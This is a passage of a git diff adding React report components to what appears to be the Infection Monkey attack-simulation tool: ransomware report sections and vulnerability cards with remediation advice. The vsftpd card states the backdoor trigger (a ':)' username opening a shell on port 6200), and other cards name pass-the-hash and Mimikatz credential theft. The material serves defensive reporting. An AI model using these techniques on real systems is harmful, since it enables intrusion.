    ); + } + return elements +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js index d942a53e2..6e7c25d2e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -8,6 +8,7 @@ export const ReportTypes = { zeroTrust: 'Zero Trust', security: 'Security', attack: 'ATT&CK', + ransomware: 'Ransomware', null: '' }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx new file mode 100644 index 000000000..69dc76c08 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx @@ -0,0 +1,102 @@ +import React, {ReactElement, ReactFragment, useEffect, useState} from 'react'; +import IslandHttpClient from '../../IslandHttpClient'; +import {FileEncryptionTable, TableRow} from './FileEncryptionTable'; +import NumberedReportSection from './NumberedReportSection'; +import LoadingIcon from '../../ui-components/LoadingIcon'; + +const ATTACK_DESCRIPTION = 'After the attacker or malware has propagated through your network, \ + your data is at risk on any machine the attacker can access. It can be \ + encrypted and held for ransomware, exfiltrated, or manipulated in \ + whatever way the attacker chooses.' +const HOSTNAME_REGEX = /^(.* - )?(\S+) :.*$/; + +function AttackSection(): ReactElement { + const [tableData, setTableData] = useState(null); + + useEffect(() => { + IslandHttpClient.get('/api/telemetry?telem_category=file_encryption') + .then(resp => setTableData(processTelemetry(resp.body))); + }, []); + + + if (tableData == null) { + return + } + + return ( + + ); +} + +function getBody(tableData): ReactFragment { + return ( + <> +

    Infection Monkey has encrypted {tableData.length} files on your network.

    + {(tableData.length > 0) && } + + ); +} + +function processTelemetry(telemetry): Array { + // Sort ascending so that newer telemetry records overwrite older ones. + sortTelemetry(telemetry); + + let latestTelemetry = getLatestTelemetry(telemetry); + let tableData = getDataForTable(latestTelemetry); + + return tableData; +} + +function sortTelemetry(telemetry): void { + telemetry.objects.sort((a, b) => { + if (a.timestamp > b.timestamp) { + return 1; + } else if (a.timestamp < b.timestamp) { + return -1; + } + + return 0; + }); +} + +function getLatestTelemetry(telemetry) { + let latestTelemetry = {}; + for (let i = 0; i < telemetry.objects.length; i++) { + let monkey = telemetry.objects[i].monkey + + if (! (monkey in latestTelemetry)) { + latestTelemetry[monkey] = {}; + } + + telemetry.objects[i].data.files.forEach((file_encryption_telemetry) => { + latestTelemetry[monkey][file_encryption_telemetry.path] = file_encryption_telemetry.success + }); + } + + return latestTelemetry; +} + +function getDataForTable(telemetry): Array { + let tableData = []; + + for (const monkey in telemetry) { + for (const path in telemetry[monkey]) { + if (telemetry[monkey][path]) { + tableData.push({'hostname': parseHostname(monkey), 'file_path': path}); + } + } + } + + return tableData; +} + +function parseHostname(monkey: string): string { + return monkey.match(HOSTNAME_REGEX)[2]; +} + +export default AttackSection; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx new file mode 100644 index 000000000..1c2b71d99 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx @@ -0,0 +1,49 @@ +import React, {useEffect, useState} from 'react'; +import IslandHttpClient from '../../IslandHttpClient'; +import NumberedReportSection from './NumberedReportSection'; +import LoadingIcon from '../../ui-components/LoadingIcon'; +import {renderLimitedArray} from '../common/RenderArrays'; + +function BreachSection() { + const [machines, setMachines] = useState(null); + let description = 'Ransomware attacks start after machines in the internal network get compromised. ' + + 'The initial compromise was simulated by running Monkey Agents manually.'; + + useEffect(() => { + IslandHttpClient.get('/api/exploitations/manual') + .then(resp => setMachines(resp.body['manual_exploitations'])); + }, []); + + if(machines !== null){ + let body = getBreachSectionBody(machines); + return () + } else { + return + } +} + +function getBreachSectionBody(machines) { + let machineList = []; + for(let i = 0; i < machines.length; i++){ + machineList.push(getMachine(machines[i])); + } + return ( +
    +

    Ransomware attack started from these machines on the network:

    +
      + {machineList} +
    +
    + ) + } + +function getMachine(machine) { + return ( +
  • + {machine['hostname']}  + ({renderLimitedArray(machine['ip_addresses'], 2, 'ip-address')}) at {machine['start_time']} +
  • + ) +} + +export default BreachSection; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx new file mode 100644 index 000000000..0b4406ab6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx @@ -0,0 +1,45 @@ +import React from 'react'; +import ReactTable from 'react-table'; + + +type TableRow = { + hostname: string, + file_path: number, +} + +const PAGE_SIZE = 10; +const columns = [ + { + Header: 'Encrypted Files', + columns: [ + {Header: 'Host', id: 'host', accessor: x => x.hostname}, + {Header: 'File Path', id: 'file_path', accessor: x => x.file_path}, + {Header: 'Encryption Algorithm', + id: 'encryption_algorithm', + accessor: () => {return 'Bit Flip'}} + ] + } +]; + +const FileEncryptionTable = ({tableData}: {tableData: Array}) => { + let defaultPageSize = tableData.length > PAGE_SIZE ? PAGE_SIZE : tableData.length; + let showPagination = tableData.length > PAGE_SIZE; + + return ( + <> +

    + File encryption +

    +
    + +
    + + ); +} + +export {FileEncryptionTable, TableRow}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx new file mode 100644 index 000000000..a5f76f722 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx @@ -0,0 +1,71 @@ +import React, {ReactElement} from 'react'; +import NumberedReportSection from './NumberedReportSection'; +import pluralize from 'pluralize' +import BreachedServersComponent from '../security/BreachedServers'; + +const LATERAL_MOVEMENT_DESCRIPTION = 'After the initial breach, the attacker will begin the Lateral \ + Movement phase of the attack. They will employ various \ + techniques in order to compromise other systems in your \ + network. \ +
    \ +
    \ + \ + See some real-world examples on Guardicore\'s blog. \ + ' + +type PropagationStats = { + num_scanned_nodes: number, + num_exploited_nodes: number, + num_exploited_per_exploit: Array, +} + +function LateralMovement({propagationStats}: {propagationStats: PropagationStats}): ReactElement { + let body = ( + <> + {getScannedVsExploitedStats(propagationStats.num_scanned_nodes, propagationStats.num_exploited_nodes)} + {getExploitationStatsPerExploit(propagationStats.num_exploited_per_exploit)} +
    + + + ) + + return ( + + ); +} + +function getScannedVsExploitedStats(num_scanned_nodes: number, num_exploited_nodes: number): ReactElement { + return( +

    + The Monkey discovered {num_scanned_nodes} machines + and successfully breached {num_exploited_nodes} of them. +

    + ); +} + +function getExploitationStatsPerExploit(num_exploited_per_exploit: Array): Array { + let exploitation_details = []; + + for (let exploit in num_exploited_per_exploit) { + let count = num_exploited_per_exploit[exploit]; + exploitation_details.push( +
    + {count}  + {pluralize('machine', count)} {pluralize('was', count)} exploited by the  + {exploit}. +
    + ); + } + + return exploitation_details; +} + +export default LateralMovement; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx new file mode 100644 index 000000000..c0876137b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx @@ -0,0 +1,39 @@ +import React, {ReactFragment, ReactElement} from 'react'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import {faInfoCircle} from '@fortawesome/free-solid-svg-icons'; + +type Props = { + index: number, + title: string, + description: string, + body: ReactFragment +} + +function NumberedReportSection(props: Props): ReactElement { + return ( +
    +
    +
    + + {props.body} +
    +
    + ) +} + +function Header({index, title}: {index: number, title: string}): ReactElement { + return ( +

    {index}. {title}

    + ) +} + +function Description({text}: {text: string}): ReactElement { + return ( +
    + + +
    + ) +} + +export default NumberedReportSection; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js deleted file mode 100644 index 827549c1a..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js +++ /dev/null @@ -1,50 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table'; -import Pluralize from 'pluralize'; -import {renderArray, renderIpAddresses} from '../common/RenderArrays'; - - -const columns = [ - { - Header: 'Breached Servers', - columns: [ - {Header: 'Machine', accessor: 'label'}, - { - Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderIpAddresses(x) - }, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} - ] - } -]; - -const pageSize = 10; - -class BreachedServersComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( - <> -

    - The Monkey successfully breached {this.props.data.length} {Pluralize('machine', this.props.data.length)}: -

    -
    - -
    - - ); - } -} - -export default BreachedServersComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.tsx new file mode 100644 index 000000000..d9145242e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.tsx @@ -0,0 +1,54 @@ +import React, {useEffect, useState} from 'react'; +import ReactTable from 'react-table'; +import {renderArray, renderIpAddresses} from '../common/RenderArrays'; +import LoadingIcon from '../../ui-components/LoadingIcon'; +import IslandHttpClient from '../../IslandHttpClient'; + + +const columns = [ + { + Header: 'Breached Servers', + columns: [ + {Header: 'Machine', accessor: 'label'}, + { + Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderIpAddresses(x) + }, + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} + ] + } +]; + +const pageSize = 10; + +function BreachedServersComponent() { + + const [exploitations, setExploitations] = useState(null); + + useEffect(() => { + IslandHttpClient.get('/api/exploitations/monkey') + .then(res => setExploitations(res.body['monkey_exploitations'])) + }, []); + + if(exploitations === null){ + return + } + + let defaultPageSize = exploitations.length > pageSize ? pageSize : exploitations.length; + let showPagination = exploitations.length > pageSize; + return ( + <> +
    + +
    + + ); + +} + +export default BreachedServersComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js new file mode 100644 index 000000000..78afa599b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function azurePasswordIssueOverview() { + return (
  • Azure machines expose plaintext passwords. (More info)
  • ) +} + +export function azurePasswordIssueReport(issue) { + return ( + <> + Delete VM Access plugin configuration files. + + Credentials could be stolen from {issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. + + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js new file mode 100644 index 000000000..6c1ece1ea --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js @@ -0,0 +1,84 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; +import {generateInfoBadges} from './utils'; + +export function crossSegmentIssueOverview() { + return (
  • Weak segmentation - Machines from + different segments are able to communicate.
  • ) +} + +export function crossSegmentIssueReport(crossSegmentIssue) { + let crossSegmentIssueOverview = 'Communication possible from ' + + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`; + + return ( +
  • + {crossSegmentIssueOverview} + +
      + {crossSegmentIssue['issues'].map( + issue => getCrossSegmentIssueListItem(issue) + )} +
    +
    +
  • + ); + } + +export function getCrossSegmentIssueListItem(issue) { + if (issue['is_self']) { + return getCrossSegmentSingleHostMessage(issue); + } + + return getCrossSegmentMultiHostMessage(issue); + } + +export function getCrossSegmentSingleHostMessage(issue) { + return ( +
  • + {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`} +
  • + ); + } + +export function getCrossSegmentMultiHostMessage(issue) { + return ( +
  • + IP {issue['source']} ({issue['hostname']}) was able to communicate with + IP {issue['target']} using: +
      + {issue['icmp'] &&
    • ICMP
    • } + {getCrossSegmentServiceListItems(issue)} +
    +
  • + ); + } + +export function getCrossSegmentServiceListItems(issue) { + let service_list_items = []; + + for (const [service, info] of Object.entries(issue['services'])) { + service_list_items.push( +
  • + {service} ({info['display_name']}) +
  • + ); + } + + return service_list_items; + } + +export function islandCrossSegmentIssueReport(issue) { + return ( + <> + Segment your network and make sure there is no communication between machines from different segments. + + The network can probably be segmented. A monkey instance on {issue.machine} in the + networks {generateInfoBadges(issue.networks)} + could directly access the Monkey Island server in the + networks {generateInfoBadges(issue.server_networks)}. + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js new file mode 100644 index 000000000..d5cc068bb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js @@ -0,0 +1,24 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function drupalIssueOverview() { + return (
  • Drupal server/s are vulnerable to CVE-2019-6340.
  • ) +} + +export function drupalIssueReport(issue) { + return ( + <> + Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. + + Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. +
    + The attack was made possible because the server is using an old version of Drupal, for which REST API is + enabled. For possible workarounds, fixes and more info read + here. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js new file mode 100644 index 000000000..4d389bf2b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function elasticIssueOverview() { + return (
  • Elasticsearch servers are vulnerable to CVE-2015-1427. +
  • ) +} + +export function elasticIssueReport(issue) { + return ( + <> + Update your Elastic Search server to version 1.4.3 and up. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to an Elastic Groovy attack. +
    + The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js new file mode 100644 index 000000000..ff126ef8a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function hadoopIssueOverview() { + return (
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • ) +} + +export function hadoopIssueReport(issue) { + return ( + <> + Run Hadoop in secure mode ( + add Kerberos authentication). + + The Hadoop server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to default Hadoop/Yarn configuration being insecure. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js new file mode 100644 index 000000000..2a831a093 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js @@ -0,0 +1,24 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function ms08_067IssueOverview() { + return (
  • Machines are vulnerable to ‘Conficker’ (MS08-067).
  • ) +} + +export function ms08_067IssueReport(issue) { + return ( + <> + Install the latest Windows updates or upgrade to a newer operating system. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. +
    + The attack was made possible because the target machine used an outdated and unpatched operating system + vulnerable to Conficker. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js new file mode 100644 index 000000000..e8e1bb162 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js @@ -0,0 +1,24 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function mssqlIssueOverview() { + return (
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • ) +} + +export function mssqlIssueReport(issue) { + return ( + <> + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js new file mode 100644 index 000000000..73589715b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js @@ -0,0 +1,6 @@ +import React from 'react'; + +export function pthCriticalServiceIssueOverview() { + return (
  • Mimikatz found login credentials of a user who has admin access to a server defined as + critical.
  • ) +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js new file mode 100644 index 000000000..05bcb6850 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js @@ -0,0 +1,28 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function sambacryIssueOverview() { + return (
  • Samba servers are vulnerable to ‘SambaCry’ (CVE-2017-7494).
  • ) +} + +export function sambacryIssueReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. +
    + Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SambaCry attack. +
    + The Monkey authenticated over the SMB protocol with user {issue.username} and its password, and used the SambaCry + vulnerability. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js new file mode 100644 index 000000000..5d114a520 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js @@ -0,0 +1,51 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; +import {generateInfoBadges} from './utils'; + +export function sharedPasswordsIssueOverview() { + return (
  • Multiple users have the same password
  • ) +} + +export function sharedAdminsDomainIssueOverview() { + return (
  • Shared local administrator account - Different machines have the same account as a local + administrator.
  • ) +} + +export function sharedCredsDomainIssueReport(issue) { + return ( + <> + Some domain users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {generateInfoBadges(issue.shared_with)}. + + + ); + } + +export function sharedCredsIssueReport(issue) { + return ( + <> + Some users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {generateInfoBadges(issue.shared_with)}. + + + ); + } + +export function sharedLocalAdminsIssueReport(issue) { + return ( + <> + Make sure the right administrator accounts are managing the right machines, and that there isn’t an + unintentional local + admin sharing. + + Here is a list of machines which the account {issue.username} is defined as an administrator: + {generateInfoBadges(issue.shared_machines)} + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js new file mode 100644 index 000000000..b2496fb21 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js @@ -0,0 +1,30 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function shellShockIssueOverview() { + return (
  • Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271). +
  • ) +} + + +function getShellshockPathListBadges(paths) { + return paths.map(path => {path}); +} + +export function shellShockIssueReport(issue) { + return ( + <> + Update your Bash to a ShellShock-patched version. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a ShellShock attack. +
    + The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the + paths: {getShellshockPathListBadges(issue.paths)}. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js new file mode 100644 index 000000000..66e2117ff --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js @@ -0,0 +1,36 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function smbPasswordReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. +
    + The Monkey authenticated over the SMB protocol with user {issue.username} and its password. +
    + + ); +} + +export function smbPthReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. +
    + The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js new file mode 100644 index 000000000..cb74018d8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js @@ -0,0 +1,39 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function sshIssueOverview() { + return (
  • Stolen SSH keys are used to exploit other machines.
  • ) +} + +export function shhIssueReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with user {issue.username} and its password. +
    + + ); +} + +export function sshKeysReport(issue) { + return ( + <> + Protect {issue.ssh_key} private key with a pass phrase. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. +
    + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js new file mode 100644 index 000000000..a0b0c037b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js @@ -0,0 +1,5 @@ +import React from 'react'; + +export function stolenCredsIssueOverview() { + return (
  • Stolen credentials are used to exploit other machines.
  • ) +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js new file mode 100644 index 000000000..328207710 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js @@ -0,0 +1,16 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function strongUsersOnCritIssueReport(issue) { + return ( + <> + This critical machine is open to attacks via strong users with access to it. + + The services: {this.generateInfoBadges(issue.services)} have been found on the machine + thus classifying it as a critical machine. + These users has access to it: + {this.generateInfoBadges(issue.threatening_users)}. + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js new file mode 100644 index 000000000..ca4c2b2b9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js @@ -0,0 +1,26 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function struts2IssueOverview() { + return (
  • Struts2 servers are vulnerable to remote code execution. ( + CVE-2017-5638)
  • ) +} + +export function struts2IssueReport(issue) { + return ( + <> + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + + Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read here. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js new file mode 100644 index 000000000..c4d52751a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js @@ -0,0 +1,19 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function tunnelIssueOverview(){ + return (
  • Weak segmentation - Machines were able to communicate over unused ports.
  • ) +} + +export function tunnelIssueReport(issue) { + return ( + <> + Use micro-segmentation policies to disable communication other than the required. + + Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}. + + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js new file mode 100644 index 000000000..e5419a9c2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js @@ -0,0 +1,36 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function vsftpdIssueOverview() { + return (
  • VSFTPD is vulnerable to CVE-2011-2523. +
  • ) +} + +export function vsftpdIssueReport(issue) { + return ( + <> + Update your VSFTPD server to the latest version vsftpd-3.0.3. + + The machine {issue.machine} ({issue.ip_address}) has a backdoor running at + port 6200. +
    + The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. +

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been + compromised. + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a + command + shell on port 6200. +

    + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the + backdoor + at port 6200. +

    Read more about the security issue and remediation here. +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js new file mode 100644 index 000000000..ee3c6c04f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js @@ -0,0 +1,6 @@ +import React from 'react'; + +export function weakPasswordIssueOverview() { + return (
  • Machines are accessible using passwords supplied by the user during the Monkey’s + configuration.
  • ) +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js new file mode 100644 index 000000000..e7678c448 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function webLogicIssueOverview() { + return (
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • ) +} + +export function webLogicIssueReport(issue) { + return ( + <> + Update Oracle WebLogic server to the latest supported version. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to one of remote code execution attacks. +
    + The attack was made possible due to one of the following vulnerabilities: + CVE-2017-10271 or + CVE-2019-2725 +
    + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js new file mode 100644 index 000000000..cce631274 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js @@ -0,0 +1,36 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function wmiPasswordIssueReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. +
    + The Monkey authenticated over the WMI protocol with user {issue.username} and its password. +
    + + ); + } + +export function wmiPthIssueReport(issue) { + return ( + <> + Change {issue.username}'s password to a complex one-use password + that is not shared with other computers on the network. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. +
    + The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}. +
    + + ); + } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js new file mode 100644 index 000000000..771aecf6c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js @@ -0,0 +1,64 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; +import WarningIcon from '../../../ui-components/WarningIcon'; +import {Button} from 'react-bootstrap'; + +export function zerologonIssueOverview() { + return ( +
  • + Some Windows domain controllers are vulnerable to 'Zerologon' ( + ). +
  • + ) +} + +export function zerologonOverviewWithFailedPassResetWarning() { + let overview = [zerologonIssueOverview()]; + overview.push( +
  • + + + Automatic password restoration on a domain controller failed! + + +
